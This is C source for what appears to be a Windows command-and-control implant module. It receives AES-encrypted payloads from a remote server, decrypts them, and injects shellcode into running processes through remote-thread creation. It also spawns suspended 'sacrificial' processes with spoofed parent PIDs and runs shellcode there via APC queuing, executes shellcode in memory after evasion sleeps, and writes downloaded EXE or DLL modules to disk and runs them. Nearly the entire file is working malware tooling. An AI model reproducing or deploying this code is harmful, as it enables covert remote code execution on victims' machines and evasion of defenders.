#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "config.h"
#include "aes.c"

unsigned char iv[] = "sWDv47xwoMkg5gJY"; // 16 bytes

void PrintHEX(unsigned char* data, size_t size, int n) {
    printf("\nData in hex (first %d bytes):\n", n);
    for (int i = 0; i < n && i < size; i++) {
        printf("%02x ", data[i]);
        if ((i + 1) % 8 == 0) printf(" ");
        if ((i + 1) % 16 == 0) printf("\n");
    }
    printf("\n");
}

// Inject into running process
void InjectRemote(char* result, char* key, DWORD targetPID, unsigned char* shellcode, SIZE_T payload_size) {
    HANDLE hProcess = NULL;
    LPVOID remoteMem = NULL;
    HANDLE hThread = NULL;

    // Get a handle to the target process
    hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
                          PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, 
                          FALSE, targetPID);
    if (!hProcess) {
        sprintf(result, "Error: Could not open target process (%ld)", GetLastError());
        LOG("%s\n", result);
        return;
    }
    
    // Allocate memory in the target process for our shellcode
    remoteMem = VirtualAllocEx(hProcess, NULL, payload_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (!remoteMem) {
        sprintf(result, "Error: Could not allocate memory in target process (%ld)", GetLastError());
        LOG("%s\n", result);
        goto cleanup;
    }

    // Decrypt locally using tiny-AES-c
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CTR_xcrypt_buffer(&ctx, shellcode, payload_size);
    memset(key, 0, 16);

    PrintHEX(shellcode, payload_size, 64);

    // Write the shellcode to the allocated memory
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(hProcess, remoteMem, shellcode, payload_size, &bytesWritten) ||
        bytesWritten != payload_size) {
        sprintf(result, "Error: Could not write to target process memory (%ld), bytes written: %zu", 
                GetLastError(), bytesWritten);
        LOG("%s\n", result);
        goto cleanup;
    }
    memset(shellcode, 0, payload_size);

    // Change memory permissions to executable
    DWORD oldProtect;
    if (!VirtualProtectEx(hProcess, remoteMem, payload_size, PAGE_EXECUTE_READ, &oldProtect)) {
        sprintf(result, "Error: Could not change memory permissions (%ld)", GetLastError());
        LOG("%s\n", result);
        goto cleanup;
    }

    // Create a remote thread to execute the shellcode
    hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMem, NULL, 0, NULL);
    if (!hThread) {
        sprintf(result, "Error: Could not create remote thread (%ld)", GetLastError());
        LOG("%s\n", result);
        goto cleanup;
    }

    sprintf(result, "Successfully injected shellcode into process %ld", targetPID);
    LOG("%s\n", result);

cleanup:
    if (hThread) CloseHandle(hThread);
    if (hProcess) CloseHandle(hProcess);
}

// Start new process, decrypt shellcode, inject it into process
void SpawnNew(char* result, char* key, char* path, unsigned char* shellcode, int payload_size, DWORD parentPID) {
    STARTUPINFOEXA stinfoex = { 0 };
    STARTUPINFOA* stinfo = (STARTUPINFOA*)&stinfoex;
    PROCESS_INFORMATION pinfo = { 0 };
    DWORD oldprotect = 0;
    LPVOID allocated_mem = NULL;
    SIZE_T attributeSize = 0;
    HANDLE hParentProcess = NULL;
    DWORD creationFlags = CREATE_SUSPENDED | CREATE_NO_WINDOW;

    // Setup for parent process attribute if needed
    if (parentPID != 0) {
        // Get the size needed for the attribute list
        InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
        stinfoex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
            GetProcessHeap(), 0, attributeSize);
            
        if (stinfoex.lpAttributeList == NULL) {
            sprintf(result, "Error: Failed to allocate memory for attribute list (%ld)", GetLastError());
            LOG("%s\n", result);
            return;
        }
        
        // Initialize the attribute list
        if (!InitializeProcThreadAttributeList(stinfoex.lpAttributeList, 1, 0, &attributeSize)) {
            sprintf(result, "Error: Failed to initialize attribute list (%ld)", GetLastError());
            LOG("%s\n", result);
            HeapFree(GetProcessHeap(), 0, stinfoex.lpAttributeList);
            return;
        }
        
        // Open handle to parent process
        hParentProcess = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPID);
        if (hParentProcess == NULL) {
            sprintf(result, "Error: Failed to open parent process (PID: %ld) (%ld)", parentPID, GetLastError());
            LOG("%s\n", result);
            DeleteProcThreadAttributeList(stinfoex.lpAttributeList);
            HeapFree(GetProcessHeap(), 0, stinfoex.lpAttributeList);
            return;
        }
        
        // Set the parent process attribute
        if (!UpdateProcThreadAttribute(stinfoex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 
                                     &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
            sprintf(result, "Error: Failed to update attribute list (%ld)", GetLastError());
            LOG("%s\n", result);
            CloseHandle(hParentProcess);
            DeleteProcThreadAttributeList(stinfoex.lpAttributeList);
            HeapFree(GetProcessHeap(), 0, stinfoex.lpAttributeList);
            return;
        }
        
        // Set the size of the structure for extended startup info
        stinfoex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
        
        // Add EXTENDED_STARTUPINFO_PRESENT flag
        creationFlags |= EXTENDED_STARTUPINFO_PRESENT;
    } else {
        // Standard startup info without parent process specification
        stinfo->cb = sizeof(STARTUPINFOA);
    }

    // Start new process
    BOOL SacrificialProc = CreateProcessA(
        path,                  // Application name
        NULL,                  // Command line
        NULL,                  // Process security attributes
        NULL,                  // Thread security attributes
        FALSE,                 // Inherit handles
        creationFlags,         // Creation flags
        NULL,                  // Environment
        NULL,                  // Current directory
        stinfo,                // Startup info
        &pinfo                 // Process information
    );

    // Clean up parent process resources if we used them
    if (parentPID != 0) {
        if (hParentProcess) CloseHandle(hParentProcess);
        DeleteProcThreadAttributeList(stinfoex.lpAttributeList);
        HeapFree(GetProcessHeap(), 0, stinfoex.lpAttributeList);
    }

    if (SacrificialProc == 0) {
        sprintf(result, "Error: Failed to create a sacrificial process (%ld)", GetLastError());
        LOG("%s\n", result);
        return;
    }
    
    if (parentPID != 0) {
        LOG("Sacrificial process created with PID: %ld under parent PID: %ld\n", pinfo.dwProcessId, parentPID);
    } else {
        LOG("Sacrificial process created with PID: %ld\n", pinfo.dwProcessId);
    }

    // Now allocate memory in the target process
    allocated_mem = VirtualAllocEx(pinfo.hProcess, NULL, payload_size, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
    if (allocated_mem == NULL) {
        sprintf(result, "Error: Failed to allocate memory in sacrificial process (%ld)", GetLastError());
        LOG("%s\n", result);
        goto cleanup;
    }

    // Decrypt locally using tiny-AES-c
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CTR_xcrypt_buffer(&ctx, shellcode, payload_size);
    memset(key, 0, 16);

    PrintHEX(shellcode, payload_size, 64);

    // Write the already-decrypted shellcode to the process
    if (!WriteProcessMemory(pinfo.hProcess, allocated_mem, shellcode, payload_size, NULL)) {
        sprintf(result, "Error: Failed to write shellcode into memory (%ld)", GetLastError());
        LOG("%s\n", result);
        goto cleanup;
    }
    LOG("Shellcode written into memory.\n");
    memset(shellcode, 0, payload_size);

    // Change memory protection to allow execution
    if (!VirtualProtectEx(pinfo.hProcess, allocated_mem, payload_size, PAGE_EXECUTE_READ, &oldprotect)) {
        sprintf(result, "Error: Failed to change memory protection (%ld)", GetLastError());
        LOG("%s\n", result);
        goto cleanup;
    } 
    LOG("Changed memory protection\n");

    // Execute the shellcode
    QueueUserAPC((PAPCFUNC)allocated_mem, pinfo.hThread, 0);
    ResumeThread(pinfo.hThread);
    
    sprintf(result, "Successfully injected shellcode into new process with PID %ld", pinfo.dwProcessId);
    LOG("%s\n", result);

cleanup:
    // Clean up process handles if we failed
    if (pinfo.hProcess) {
        TerminateProcess(pinfo.hProcess, 0);
    }
    // Always close handles if they were opened
    if (pinfo.hProcess) CloseHandle(pinfo.hProcess);
    if (pinfo.hThread) CloseHandle(pinfo.hThread);
}

void ExecuteInMemory(char* key, unsigned char* encryptedPayload, int payload_size, int sleepTime) {
    LOG("Payload size: %d\n", payload_size);

    if (sleepTime <= 0) sleepTime = 3600;
    Sleep(sleepTime);

    LPVOID allocated_mem = VirtualAlloc(NULL, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (allocated_mem == NULL) return;

    // Copy encrypted payload to allocated memory
    memcpy(allocated_mem, encryptedPayload, payload_size);
    Sleep(sleepTime / 2);

    // Decrypt in-place using tiny-AES
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CTR_xcrypt_buffer(&ctx, (byte*)allocated_mem, payload_size);
    memset(key, 0, 16);

    // LOG("Decrypted payload (first 32 bytes):\n");
    // for (int i = 0; i < 32 && i < payload_size; i++) {
    //     LOG("%02x ", ((unsigned char*)allocated_mem)[i]);
    //     if ((i + 1) % 16 == 0) LOG("\n");
    // }
    // LOG("\n");

    PrintHEX(allocated_mem, payload_size, 64);

    // Change memory protection to allow execution
    DWORD oldProtect;
    VirtualProtect(allocated_mem, payload_size, PAGE_EXECUTE_READ, &oldProtect);
    
    Sleep(sleepTime / 3);

    LOG("Executing...\n");

    void (*function)() = (void (*)())allocated_mem;
    function();

    LOG("Done!\n");

    Sleep(sleepTime / 4);
    VirtualFree(allocated_mem, 0, MEM_RELEASE);
}

void RunDLLFromDisk(char* result, char* dllPath, Transport* transport) {
    HMODULE hModule = NULL;
    FARPROC pFunction = NULL;
    
    char* exportedFunctionName = "ExecuteModule";

    // Load the DLL
    hModule = LoadLibrary(dllPath);
    if (hModule == NULL) {
        sprintf(result, "Error: Failed to load DLL: %s (%ld)", dllPath, GetLastError());
        LOG("%s\n", result);
        SendTaskResult(transport, "", result);
        return;
    }
    LOG("Successfully loaded DLL: %s\n", dllPath);

    // Get the address of the exported function
    pFunction = GetProcAddress(hModule, exportedFunctionName);
    if (pFunction == NULL) {
        sprintf(result, "Error: Failed to locate the function '%s' (%ld)", exportedFunctionName, GetLastError());
        LOG("%s\n", result);
        SendTaskResult(transport, "", result);
        goto cleanup;
    }
    LOG("Found exported function: %s\n", exportedFunctionName);
    LOG("Executing function '%s'...\n", exportedFunctionName);

    // Execute the function
    ((void (*)())pFunction)();
    
    sprintf(result, "Successfully executed function '%s' from DLL '%s'", exportedFunctionName, dllPath);
    LOG("%s\n", result);

cleanup:
    if (hModule) {
        FreeLibrary(hModule);
        LOG("Unloaded DLL: %s\n", dllPath);
    }
}

void RunEXEFromDisk(char* result, char* exe_path, Transport* transport) {
    STARTUPINFO si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    DWORD exitCode = 0;
    
    // Initialize STARTUPINFO structure
    si.cb = sizeof(si);
    
    // Create the process
    if (!CreateProcess(exe_path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        sprintf(result, "Error: Failed to create process '%s' (%ld)", exe_path, GetLastError());
        LOG("%s\n", result);
        SendTaskResult(transport, "", result);
        return;
    }
    LOG("Process created: %s (PID: %ld)\n", exe_path, pi.dwProcessId);
    
    // Wait for the process to complete
    LOG("Waiting for process to complete...\n");
    WaitForSingleObject(pi.hProcess, INFINITE);
    
    // Get the exit code
    if (GetExitCodeProcess(pi.hProcess, &exitCode)) {
        sprintf(result, "Successfully executed process '%s' with exit code %ld", exe_path, exitCode);
    } else {
        sprintf(result, "Successfully executed process '%s' but couldn't retrieve exit code (%ld)", 
                exe_path, GetLastError());
    }
    
    // Clean up process handles
    if (pi.hProcess) CloseHandle(pi.hProcess);
    if (pi.hThread) CloseHandle(pi.hThread);
}

void SaveToDisk(char* result, char* key, Transport* transport, char* taskType, unsigned char* payload_buffer, int payload_size) {
        // Decrypt before writing to disk
        struct AES_ctx ctx;
        AES_init_ctx_iv(&ctx, key, iv);
        AES_CTR_xcrypt_buffer(&ctx, payload_buffer, payload_size);
    
        // LOG("Decrypted payload (first 32 bytes):\n");
        // for (int i = 0; i < 32 && i < payload_size; i++) {
        //     LOG("%02x ", payload_buffer[i]);
        //     if ((i + 1) % 16 == 0) LOG("\n");
        // }
        // LOG("\n");
        
        PrintHEX(payload_buffer, payload_size, 64);

        char fileName[32];
        if (strcmp(taskType, "runexe") == 0) {
            sprintf(fileName, "module.exe");
        }
        else if (strcmp(taskType, "rundll") == 0) {
            sprintf(fileName, "module.dll");
        }
        else if (strcmp(taskType, "sfinject") == 0) {
            LOG("Shellcode detected\n");
        }
    
        FILE* file = fopen(fileName, "wb");
        if (!file) {
            LOG("Failed to open file for writing: %s\n", fileName);
            memset(payload_buffer, 0, payload_size);
            return;
        }
        size_t written = fwrite(payload_buffer, 1, payload_size, file);
        if (written != payload_size) {
            LOG("Error writing data to file: %s\n", fileName);
            memset(payload_buffer, 0, payload_size);
            fclose(file);
            return;
        }
        fclose(file);
        LOG("Module data written to: %s\n", fileName);
        
        if (strcmp(taskType, "runexe") == 0) {
            RunEXEFromDisk(result, fileName, transport);
        }
        else if (strcmp(taskType, "rundll") == 0) {
            RunDLLFromDisk(result, fileName, transport);
        }
}

// Receive payload over network
void ReceiveModule(char* result, Transport* transport, char* taskType, char* taskArgs, unsigned char* http_buffer) {
    // Example message
    // TASK~555953~inject~aQ9PvvobxH8mr0Mr~8868~276
    // TASK~438818~spawn~nx8Fk8krVYflY7sR~C:\Windows\System32\notepad.exe~4704~276
    int pid, ppid = 0;
    char* key = strtok(taskArgs, "~");
    char* taskArg1 = strtok(NULL, "~");
    char* taskArg2 = strtok(NULL, "~");
    char* taskArg3 = strtok(NULL, "");
    LOG("Task type: %s\n", taskType);
    LOG("Key: %s\n", key);
    LOG("Argument 1: %s\n", taskArg1);
    LOG("Argument 2: %s\n", taskArg2);
    LOG("Argument 3: %s\n", taskArg3);

    // Parse payload size based on type of command
    int payload_size;
    if (strcmp(taskType, "inject") == 0) {
        payload_size = atoi(taskArg2);
        pid = atoi(taskArg1);
        LOG("Module size (int): %d bytes\n", payload_size);
        LOG("PID (int): %d\n", pid);
    }
    else if (strcmp(taskType, "spawn") == 0) {
        if (!taskArg3) { // if no ppid sent, "taskArg3" will be null and "taskArg2" holds size
            LOG("TaskArg3 is null\n");
            payload_size = atoi(taskArg2);
        }
        else { // if ppid is sent, then "taskArg3" holds size
            LOG("TaskArg3 is not null\n");
            payload_size = atoi(taskArg3);
            ppid = atoi(taskArg2);
        }
        LOG("Module size (int): %d bytes\n", payload_size);
        LOG("PPID (int): %d\n", ppid);
    }

    // If http channel is used - payload is already in http_buffer
    #if USE_HTTP
        if (strcmp(taskType, "inject") == 0) {
            InjectRemote(result, key, pid, http_buffer, payload_size);
        }
        else if (strcmp(taskType, "spawn") == 0) {
            SpawnNew(result, key, taskArg1, http_buffer, payload_size, ppid);
        }
        else if (strcmp(taskType, "runexe") == 0 || strcmp(taskType, "rundll") == 0) {
            SaveToDisk(result, key, transport, taskType, http_buffer, payload_size);
        }
    // Otherwise, we need to receive a payload from server
    #else
        // Prepare buffer for payload
        unsigned char payload_buffer[payload_size];
        // Send ACK
        if (transport->send(transport->handle, "ACK", strlen("ACK")) <= 0) {
            LOG("Error sending ACK to server\n");
            return;
        }
        LOG("Sent ACK to server, ready to receive data\n");
        // Receive data with loop to ensure full buffer
        int bytes_received = 0;
        int total_received = 0;
        while (total_received < payload_size) {
            LOG("Receiving module: ");
            bytes_received = transport->recv(transport->handle, payload_buffer + total_received, payload_size - total_received);
            if (bytes_received <= 0) {
                LOG("\nError receiving module data: %d\n", bytes_received);
                return;
            }
            total_received += bytes_received;
            LOG("%d/%d bytes\n", total_received, payload_size);
            fflush(stdout);
        }
        bytes_received = total_received;
        // Verify received size
        if (bytes_received != payload_size) {
            LOG("Warning: Expected %d bytes, received %d bytes\n", payload_size, bytes_received);
            return;
        }
        LOG("Received full module of size: %d bytes\n", bytes_received);

        if (strcmp(taskType, "inject") == 0) {
            InjectRemote(result, key, pid, payload_buffer, payload_size);
        }
        else if (strcmp(taskType, "spawn") == 0) {
            SpawnNew(result, key, taskArg1, payload_buffer, payload_size, ppid);
        }
        else if (strcmp(taskType, "runexe") == 0 || strcmp(taskType, "rundll") == 0) {
            SaveToDisk(result, key, transport, taskType, http_buffer, payload_size);
        }
    #endif
}